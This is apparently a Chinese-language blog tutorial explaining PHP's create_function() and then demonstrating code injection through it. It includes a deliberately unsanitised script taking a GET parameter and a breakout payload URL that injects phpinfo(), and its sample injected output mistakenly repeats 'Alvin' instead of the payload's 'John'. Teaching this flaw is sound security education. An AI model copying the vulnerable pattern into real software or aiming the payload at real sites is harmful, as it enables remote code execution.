今日想介紹如何透過create_function函數把代碼注入,主要分成兩個部份,第一部份會介紹一下create_function函數,第二部份會提供一個注入攻擊的範例。
第一部份:介紹PHP create_function()使用方法
函數說明
create_function():此函數可以建立一個匿名函數。
函數參數說明
string create_function( string $args, string $code )
string $args:參數,建立匿名函數的參數。
string $code:代碼,建立匿名函數的代碼,作為一個字符串返回一個獨特的功能名稱,錯誤返回False。
範例
create_function('$name', 'echo "Hello ".$name');
類似於
function fname($name) {
echo "Hello ".$name;
}
一個官方提供的範例
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
第二部份:使用create_function()代碼注入
注入攻擊代碼的範例
<?php
$name=$_GET['name'];
$str = 'echo '.'"Hello "."'.$name.'";';
echo $str;
$fname = create_function('', $str);
?>
範例執行結果
//正常參數情況 http://localhost/reject.php?name=Alvin
function fname() {
echo "Hello "."Alvin";
}
//注入攻擊參數情況 http://localhost/reject.php?name=John";}phpinfo();/*
function fname() {
echo "Hello "."Alvin";}
phpinfo();/*;
}
範例瀏覽器效果
鏈結到這頁!